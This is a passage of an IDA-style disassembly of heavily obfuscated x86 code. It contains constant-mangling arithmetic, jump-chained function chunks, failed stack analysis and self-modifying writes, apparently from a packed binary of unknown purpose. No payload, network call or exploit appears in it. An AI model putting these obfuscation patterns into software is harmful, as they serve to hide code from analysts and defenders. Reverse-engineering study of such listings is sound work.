; END OF FUNCTION CHUNK	FOR sub_455B54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_448C05:				; CODE XREF: sub_43E4A4:loc_45394Bj
		push	1D49BD6h
		pop	ecx
		rol	ecx, 1Bh
		xor	ecx, 0C3836D08h
		jmp	loc_43DA6A
; END OF FUNCTION CHUNK	FOR sub_43E4A4
; ---------------------------------------------------------------------------

loc_448C19:				; DATA XREF: sub_4520DC-1F9Eo
		call	sub_45A04B
		jmp	loc_4427E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_448C23:				; CODE XREF: sub_43C4B5j
		mov	edx, ds:dword_44A568
		or	edx, edx
		jnz	loc_44A54D
		jmp	loc_447D6F
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_448C36:				; CODE XREF: sub_43C2DA+1B420j
		xor	eax, 0D92EAC30h
		or	eax, 0D78DF4D9h
		call	sub_44DB9B

loc_448C47:				; CODE XREF: sub_44DDFB+1Ej
		jmp	loc_4424C2
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448B3E

loc_448C4C:				; CODE XREF: sub_448B3E+9j
		jmp	loc_440F43
; END OF FUNCTION CHUNK	FOR sub_448B3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B4F

loc_448C51:				; CODE XREF: sub_442B4F+1Ej
		jmp	loc_454F80
; END OF FUNCTION CHUNK	FOR sub_442B4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_448C56:				; CODE XREF: sub_4406AC+6j
		jmp	loc_44364A
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_448C5B:				; CODE XREF: sub_44B2EA+CE02j
		jz	loc_43C2A3
		jmp	loc_439658
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B7F

loc_448C66:				; CODE XREF: sub_449B7F-466Fj
		sbb	ecx, edi
		jg	loc_4468F5

loc_448C6E:				; CODE XREF: sub_449B7F:loc_455232j
		push	0
		push	0
		push	esi
		push	499D83B4h
		xor	esi, 57507993h
		jmp	loc_456474
; END OF FUNCTION CHUNK	FOR sub_449B7F
; ---------------------------------------------------------------------------

loc_448C83:				; CODE XREF: dviuq5id:00451990j
		mov	edx, ds:dword_4407F4
		or	edx, edx
		jnz	loc_4441F7
		jmp	loc_4510FD
; ---------------------------------------------------------------------------
		dw 0C0F7h
; ---------------------------------------------------------------------------
		retn	8976h
; ---------------------------------------------------------------------------
		db 0EAh
		dd 0FFDBFEE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [ecx+42445438h] ; DATA XREF: sub_45A003+Ao
		inc	edi
		jnz	loc_447D2A
		jmp	loc_447D6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_448CB2:				; CODE XREF: sub_43BD72:loc_44D684j
					; sub_43BD72+13AECj
		call	nullsub_1
		retn
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCB4

loc_448CB8:				; CODE XREF: sub_43DCB4+142A6j
		jmp	loc_452F59
; END OF FUNCTION CHUNK	FOR sub_43DCB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_448CBD:				; CODE XREF: sub_459385:loc_451663j
		push	edx
		push	offset sub_44FEBB
		jmp	loc_444A48
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_448CC8:				; CODE XREF: sub_43A160+A87Bj
		xor	eax, 4616F199h

loc_448CCE:				; CODE XREF: sub_43A160:loc_45131Aj
		xor	ebx, 9A63612Ch
		add	eax, ebx
		pop	ebx
		mov	eax, [eax]
		add	eax, 4
		push	edi
		push	0B49B1C65h
		jmp	loc_44935F
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------
		xor	ecx, 9344B40Ah
		jmp	sub_43B880
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_448CF2:				; CODE XREF: sub_43EB11+CA2j
		ja	loc_440C5C
		or	edi, 382AA6B8h

loc_448CFE:				; CODE XREF: sub_43EB11:loc_45476Cj
		sub	ebx, 71C10D10h
		call	sub_4486F9

loc_448D09:				; CODE XREF: sub_450686-BB86j
		jno	loc_45445D
		push	ecx
		jmp	loc_43D43E
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_448D15:				; CODE XREF: sub_439A5E+167DDj
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_443029
		jmp	loc_44D42A
; END OF FUNCTION CHUNK	FOR sub_439A5E
; ---------------------------------------------------------------------------

loc_448D24:				; DATA XREF: sub_4422AB+Ao
		lea	edx, [ebp-14h]
		mov	eax, offset dword_447798
		call	sub_45A04B
		call	sub_44F719

loc_448D36:				; CODE XREF: dviuq5id:0044E222j
		add	edx, 68BC6595h
		or	edx, 94BD4FDAh
		cmp	edx, 2F177E4Bh
		jmp	loc_4506D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_448D4D:				; CODE XREF: sub_440898+53B5j
		jg	loc_458704
		adc	edi, eax
		shr	eax, 5

loc_448D58:				; CODE XREF: sub_440898:loc_43C8D8j
		call	sub_448D5E
		retn
; END OF FUNCTION CHUNK	FOR sub_440898

; =============== S U B	R O U T	I N E =======================================



sub_448D5E	proc near		; CODE XREF: sub_440898:loc_448D58p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043F58F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443F6B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449983 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044A554 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044EAED SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00457108 SIZE 00000018 BYTES

		push	ebp
		jmp	loc_44A554
sub_448D5E	endp

; ---------------------------------------------------------------------------

loc_448D64:				; CODE XREF: dviuq5id:00455AF8j
		jo	loc_43A944
		mov	byte ptr [eax],	0C3h
; START	OF FUNCTION CHUNK FOR sub_44C80D

loc_448D6D:				; CODE XREF: sub_44C80D:loc_458860j
		call	sub_456F43
		mov	edx, 0A22F8A70h
		jmp	loc_44FF02
; END OF FUNCTION CHUNK	FOR sub_44C80D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_448D7C:				; CODE XREF: sub_44FCBC:loc_446BC6j
		mov	edx, ecx
		pop	ecx
		or	edx, 0F2813F16h
		rol	edx, 17h
		jb	loc_43B3FD

loc_448D8E:				; CODE XREF: sub_446CFB+9453j
		jmp	loc_44DA7A
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_448D93:				; CODE XREF: sub_439013+D972j
		jmp	loc_43CF6D
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
		push	6FA513EDh
		shr	edx, 0Eh
		jmp	loc_43B3EB
; ---------------------------------------------------------------------------

loc_448DA5:				; CODE XREF: dviuq5id:0043C752j
		xor	eax, 88CF37A0h
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_448DAB:				; CODE XREF: sub_441DDA:loc_453A57j
		add	eax, ebp
		push	offset sub_459A5B
		jmp	nullsub_330
; END OF FUNCTION CHUNK	FOR sub_441DDA

; =============== S U B	R O U T	I N E =======================================



sub_448DB7	proc near		; DATA XREF: sub_454117-524Bo

; FUNCTION CHUNK AT 00458651 SIZE 0000000C BYTES

		add	eax, ebp
		add	eax, 0DCAAD074h
		mov	eax, [eax]
		mov	eax, [eax]
		add	[ebp-28h], eax
		mov	eax, [ebp-28h]
		mov	[ebp-18h], eax
		mov	eax, [ebp-4]
		jmp	loc_458651
sub_448DB7	endp

; ---------------------------------------------------------------------------

loc_448DD4:				; CODE XREF: dviuq5id:0043D15Bj
		js	loc_459AFD
		sub	esi, 5E5652F9h
		jmp	sub_4489AE
; ---------------------------------------------------------------------------

loc_448DE5:				; CODE XREF: dviuq5id:0044FC2Cj
		add	edi, 0FFC4C38Ch
		xchg	edi, [esp]
		jmp	sub_442BBA
; ---------------------------------------------------------------------------

loc_448DF3:				; DATA XREF: dviuq5id:00447A41o
		push	edi
		call	sub_43C4F9

loc_448DF9:				; CODE XREF: dviuq5id:004578F7j
		jmp	loc_4578BD
; ---------------------------------------------------------------------------

loc_448DFE:				; CODE XREF: dviuq5id:0043CF68j
		jmp	locret_45098D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A203

loc_448E03:				; CODE XREF: sub_44A203:loc_450117j
		lea	eax, [ebp+var_20]
		mov	dword ptr [eax], 594C4C4Fh
		lea	eax, [ebp+var_1C]
		call	sub_446314

loc_448E14:				; CODE XREF: sub_454267-289j
		jmp	loc_44DCDB
; END OF FUNCTION CHUNK	FOR sub_44A203
; ---------------------------------------------------------------------------

loc_448E19:				; CODE XREF: dviuq5id:0043B9F5j
		jmp	loc_45865D
; ---------------------------------------------------------------------------

loc_448E1E:				; CODE XREF: dviuq5id:0043BC52j
		or	edi, 332C5F97h
		and	edi, 6B448712h
		add	edi, 0C38A5C86h
		test	edi, 20h
		jmp	loc_45545D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_448E3C:				; CODE XREF: sub_445707+5F5Aj
		sub	edx, 674E6368h
		add	edx, 8F93D66Ch
		push	edx
		call	sub_451B67

loc_448E4E:				; CODE XREF: dviuq5id:0043E9E2j
		jmp	loc_43C7E4
; END OF FUNCTION CHUNK	FOR sub_445707
; ---------------------------------------------------------------------------
		mov	esi, 0AFF8C90Bh
		add	ecx, eax
		jmp	sub_43B24C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_448E5F:				; CODE XREF: sub_459385-1678Cj
		rol	ecx, 4

loc_448E62:				; CODE XREF: sub_459385:loc_43C021j
		mov	eax, 100h
		push	ecx
		push	0E212B6F5h
		pop	ecx
		or	ecx, 0C1739596h
		jmp	loc_43D214
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_448E79:				; CODE XREF: sub_459804-19CCEj
		and	ebx, 5E1A710Eh
		sub	ebx, ecx
		jmp	loc_445361
; END OF FUNCTION CHUNK	FOR sub_459804

; =============== S U B	R O U T	I N E =======================================



sub_448E86	proc near		; DATA XREF: dviuq5id:loc_4421BEo
		add	ecx, 5A322DDEh
		mov	[ecx], eax
		push	offset loc_4429B5
		jmp	nullsub_450
sub_448E86	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_448E98:				; CODE XREF: sub_44846C:loc_43D0CBj
		pop	ecx
		ror	eax, 0Ch
		push	edi
		push	7128487Dh
		pop	edi
		or	edi, 6D780808h
		jmp	loc_44BF8D
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DA57

loc_448EAE:				; CODE XREF: sub_44DA57+10j
		rol	edx, 0Ch
		add	edx, 43F667DAh
		xchg	edx, [esp+0]
		jmp	sub_450A73
; END OF FUNCTION CHUNK	FOR sub_44DA57
; ---------------------------------------------------------------------------

loc_448EBF:				; CODE XREF: dviuq5id:0045713Fj
		adc	ecx, 0F1C2CAB0h
		sub	edi, esi
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_448EC7:				; CODE XREF: sub_439C09+6728j
		xor	eax, 70C55C46h
		rol	eax, 1Eh
		cmp	eax, 3A0D71CBh
		jmp	loc_4489C7
; END OF FUNCTION CHUNK	FOR sub_439C09

; =============== S U B	R O U T	I N E =======================================



sub_448EDB	proc near		; DATA XREF: dviuq5id:0044C2D8o
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_479
sub_448EDB	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	0E9D8F3B2h
		pop	ebx
		jmp	loc_456A31
; ---------------------------------------------------------------------------
		pushf
		jg	loc_44684B
		jmp	sub_43B297

; =============== S U B	R O U T	I N E =======================================



sub_448EFB	proc near		; CODE XREF: dviuq5id:00441E02j
					; sub_446A9C+3BC3p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439662 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B6EE SIZE 00000011 BYTES

		xchg	esi, [esp+0]
		pop	esi
		sub	eax, 1E677AD4h
		xor	eax, 0B548B4B3h
		ror	eax, 16h
		add	eax, 0ABB9DA5Ah
		mov	edx, [esp+0]
		push	eax
		jmp	loc_43B6EE
sub_448EFB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_448F1D:				; CODE XREF: dviuq5id:loc_453F85j
		jz	loc_447746
; START	OF FUNCTION CHUNK FOR sub_439013

loc_448F23:				; CODE XREF: sub_439013+AB58j
		jmp	loc_44696D
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B5B

loc_448F28:				; CODE XREF: sub_449B5B-671Cj
		jmp	loc_4540BB
; END OF FUNCTION CHUNK	FOR sub_449B5B
; ---------------------------------------------------------------------------
		or	ebx, 0A4CC61Dh
		and	esi, ebp
		jnp	loc_43FF41
		jmp	loc_4414B1

; =============== S U B	R O U T	I N E =======================================



sub_448F40	proc near		; DATA XREF: dviuq5id:0043C0ECo

; FUNCTION CHUNK AT 00454AF8 SIZE 00000011 BYTES

		push	ebx
		push	0AE046934h
		pop	ebx
		rol	ebx, 14h
		or	ebx, 245F5488h
		rol	ebx, 9
		add	ebx, 4058341Ah
		jmp	loc_454AF8
sub_448F40	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447A8A

loc_448F5E:				; CODE XREF: sub_447A8A-2FB4j
		jz	loc_4448F6
		jmp	loc_43F1CF
; END OF FUNCTION CHUNK	FOR sub_447A8A

; =============== S U B	R O U T	I N E =======================================



sub_448F69	proc near		; DATA XREF: sub_450519-2484o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043D92D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00441410 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004420AB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00447F9B SIZE 00000005 BYTES

		push	edx
		call	sub_45327C
		mov	eax, 1AABF86Ch
		push	ecx
		push	8DB64819h
		jmp	loc_447F9B
sub_448F69	endp

; ---------------------------------------------------------------------------
		cmp	eax, edx
		jmp	loc_455AC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EE8F

loc_448F86:				; CODE XREF: sub_43EE8F:loc_43B837j
		jz	loc_43C9A0
		jmp	loc_446BDB
; END OF FUNCTION CHUNK	FOR sub_43EE8F
; ---------------------------------------------------------------------------

loc_448F91:				; CODE XREF: dviuq5id:00442195j
		jp	loc_446530

; =============== S U B	R O U T	I N E =======================================



sub_448F97	proc near		; CODE XREF: dviuq5id:0043B871p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0045956A SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	esi, [esp-4+arg_0]
		mov	ebp, esi
		pop	esi
		jmp	loc_45956A
sub_448F97	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_448FA6:				; CODE XREF: dviuq5id:loc_442F53j
		and	edx, ecx
		jmp	loc_43D88B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454228

loc_448FAD:				; CODE XREF: sub_454228-D593j
		call	sub_441C54
		call	sub_44BB53

loc_448FB7:				; CODE XREF: dviuq5id:004511E5j
		jmp	loc_444CCD
; END OF FUNCTION CHUNK	FOR sub_454228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_448FBC:				; CODE XREF: sub_439C09:loc_455076j
		jz	loc_44EA91
		jmp	loc_440172
; END OF FUNCTION CHUNK	FOR sub_439C09

; =============== S U B	R O U T	I N E =======================================



sub_448FC7	proc near		; CODE XREF: sub_440729+E262p
					; dviuq5id:00456BEEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00439034 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439355 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004395A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A913 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043A9F4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043D951 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043DE0E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440844 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440BCD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444585 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447E31 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448013 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004480A3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00448387 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004486C3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449648 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00449DEE SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00449F04 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449FE0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A8AE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BC54 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044C03E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044C1F2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044E884 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044E8CC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044E937 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044EA91 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045098E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004512B7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045130B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004516A8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00451799 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00452551 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453001 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453586 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00453EA9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00453EEE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00454A93 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004555E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004571C7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00458FB7 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0045A5FE SIZE 00000017 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44EA91
		jmp	loc_4555E1
sub_448FC7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446CFB

loc_448FDA:				; CODE XREF: sub_446CFB:loc_44A571j
		call	sub_44E3BA
		retn
; END OF FUNCTION CHUNK	FOR sub_446CFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_448FE0:				; CODE XREF: sub_43FA59+17j
		jmp	loc_451CF4
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_448FE5:				; CODE XREF: sub_4560AC-A92Cj
					; dviuq5id:0044DC15j
		jz	loc_44DB50
		lea	eax, [ebp-24h]
		push	eax
		push	ebx
		jmp	loc_4491F0
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454EDD

loc_448FF5:				; CODE XREF: sub_454EDD:loc_44A6E0j
		push	55FF55D2h
		xchg	eax, [esp+4+var_4]
		mov	edx, eax
		pop	eax
		jmp	loc_4442A1
; END OF FUNCTION CHUNK	FOR sub_454EDD
; ---------------------------------------------------------------------------
		or	ebx, 990E4670h
		jmp	sub_448665
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_449010:				; CODE XREF: sub_45288A:loc_449CCAj
		jz	loc_44DB71
		jmp	loc_45A57D
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4419B6

loc_44901B:				; CODE XREF: sub_4419B6:loc_457705j
		sub	ecx, 673A853Ch
		rol	ecx, 1Eh

loc_449024:				; CODE XREF: dviuq5id:loc_455E96j
		xor	ecx, 0D26B086Fh
		push	offset loc_453B2E
		jmp	nullsub_291
; END OF FUNCTION CHUNK	FOR sub_4419B6
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459BBA

loc_449035:				; CODE XREF: sub_459BBA+1j
		jmp	loc_44B486
; END OF FUNCTION CHUNK	FOR sub_459BBA

; =============== S U B	R O U T	I N E =======================================



sub_44903A	proc near		; DATA XREF: sub_43BD72-15ECo
		call	sub_4458D3

loc_44903F:				; CODE XREF: dviuq5id:00449634j
		jmp	sub_446465
sub_44903A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_449044:				; CODE XREF: sub_44297E-11C1j
		jmp	loc_442523
; END OF FUNCTION CHUNK	FOR sub_44297E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446544

loc_449049:				; CODE XREF: sub_446544-5DBDj
		jmp	sub_451D52
; END OF FUNCTION CHUNK	FOR sub_446544
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440B69

loc_44904E:				; CODE XREF: sub_440B69:loc_456A3Ej
		test	al, al
		jnz	loc_454CCC
; END OF FUNCTION CHUNK	FOR sub_440B69
; START	OF FUNCTION CHUNK FOR sub_441F76

loc_449056:				; CODE XREF: sub_441F76-7BAFj
					; sub_44C441:loc_44133Bj ...
		pop	ecx
		pop	ecx
		call	sub_449B07

loc_44905D:				; CODE XREF: sub_43E828+DBDFj
		jmp	loc_456ACF
; END OF FUNCTION CHUNK	FOR sub_441F76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_449062:				; CODE XREF: sub_439A5E:loc_44D42Aj
		jnz	loc_43FFA4
		jmp	loc_452F6F
; END OF FUNCTION CHUNK	FOR sub_439A5E
; ---------------------------------------------------------------------------
		jnz	loc_448122
		jmp	sub_443FD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453654

loc_449078:				; CODE XREF: dviuq5id:0043EA0Fj
					; sub_453654-E9Aj
		sub	esi, 726F6925h
		add	ebx, 0A974CA34h

loc_449084:				; CODE XREF: sub_45A4C9-13DA5j
		jmp	loc_4504B5
; END OF FUNCTION CHUNK	FOR sub_453654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_449089:				; CODE XREF: sub_4509F7-B5D0j
		sbb	eax, ecx
		rol	ebp, 2
		mov	[eax], ecx

loc_449090:				; CODE XREF: sub_4509F7:loc_449FEBj
		mov	eax, 3CFDF720h
		push	edx
		push	0BB0BF20Dh
		pop	edx
		jmp	loc_43AC18
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_4490A1:				; CODE XREF: sub_439C09+C157j
		add	eax, 3C8727EDh
		adc	ebx, 2A17CD88h

loc_4490AD:				; CODE XREF: sub_439C09:loc_44C436j
		push	0DB92A5F6h
		pop	eax
		and	eax, 0C05B0235h
		jmp	loc_4465BD
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B85C

loc_4490BE:				; CODE XREF: sub_44B85C:loc_454FC4j
		push	2254F6D1h
		xchg	edi, [esp+8+var_8]
		mov	ebx, edi
		pop	edi
		sub	ebx, 8EDA9993h
		xor	ebx, 0FF6FCF16h
		or	ebx, 0B1C5FECBh
		jmp	loc_441A9E
; END OF FUNCTION CHUNK	FOR sub_44B85C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C0B

loc_4490E0:				; CODE XREF: sub_447C0B+94Dj
		jbe	loc_44227D
		mov	eax, ebp
		jmp	loc_43FB25
; END OF FUNCTION CHUNK	FOR sub_447C0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_4490ED:				; CODE XREF: sub_4492F0-6D56j
		jl	loc_449CB7
		jnb	loc_443FA3
		cmp	ebx, edx
		jmp	loc_449CA8
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458AF1

loc_449100:				; CODE XREF: sub_458AF1:loc_457C60j
		jz	loc_43F7DA
		jmp	loc_453FE3
; END OF FUNCTION CHUNK	FOR sub_458AF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9C6

loc_44910B:				; CODE XREF: sub_44D9C6:loc_44CC74j
		add	eax, ebp
		push	offset loc_45783B
		jmp	loc_44E14F
; END OF FUNCTION CHUNK	FOR sub_44D9C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_449117:				; CODE XREF: sub_43FA59:loc_45234Cj
		jnz	loc_450920
		jmp	loc_454BC4
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_449122:				; CODE XREF: dviuq5id:00449BAEj
		pop	esi
		mov	eax, [ebp-4]
		mov	al, [eax]
		jno	loc_44A1D7
		jmp	loc_444D52
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_179. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_449134:				; CODE XREF: sub_440C61+5F95j
		jmp	loc_439C6D
; END OF FUNCTION CHUNK	FOR sub_440C61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_449139:				; CODE XREF: sub_446B53-12BBj
		jmp	loc_44098D
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBEA

loc_44913E:				; CODE XREF: sub_43FBEA-2862j
		jmp	loc_442ADD
; END OF FUNCTION CHUNK	FOR sub_43FBEA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_410. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_449144:				; CODE XREF: sub_445437+5772j
		jmp	loc_4550F2
; END OF FUNCTION CHUNK	FOR sub_445437
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C350

loc_449149:				; CODE XREF: sub_43C350+2BB9j
		jmp	sub_452A73
; END OF FUNCTION CHUNK	FOR sub_43C350
; ---------------------------------------------------------------------------

loc_44914E:				; CODE XREF: dviuq5id:loc_4433A4j
		add	ebx, ebp
		add	ebx, 0B8792DE6h
		mov	[ebx], eax
		pop	ebx
		call	sub_443328
		mov	ds:dword_44899C, eax
		jmp	loc_4548EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_449168:				; CODE XREF: sub_443ECE:loc_4508D3j
		pop	ebp
		jmp	loc_4585E7
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------

loc_44916E:				; CODE XREF: dviuq5id:0044AC55j
		cmp	ecx, eax
		add	ecx, 6CE28D94h
		sub	eax, ecx
		pop	edx
		xchg	edi, [esp]
		mov	ecx, edi
		jmp	loc_4589F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_449183:				; CODE XREF: sub_43D181+71C0j
		mov	ebp, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_43D181

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449187	proc near		; CODE XREF: dviuq5id:0043D228j
					; sub_440DA1:loc_4438C8p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043962D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043E5A5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00445036 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00451D4D SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+4+var_4]
		jmp	loc_445036
sub_449187	endp

; ---------------------------------------------------------------------------
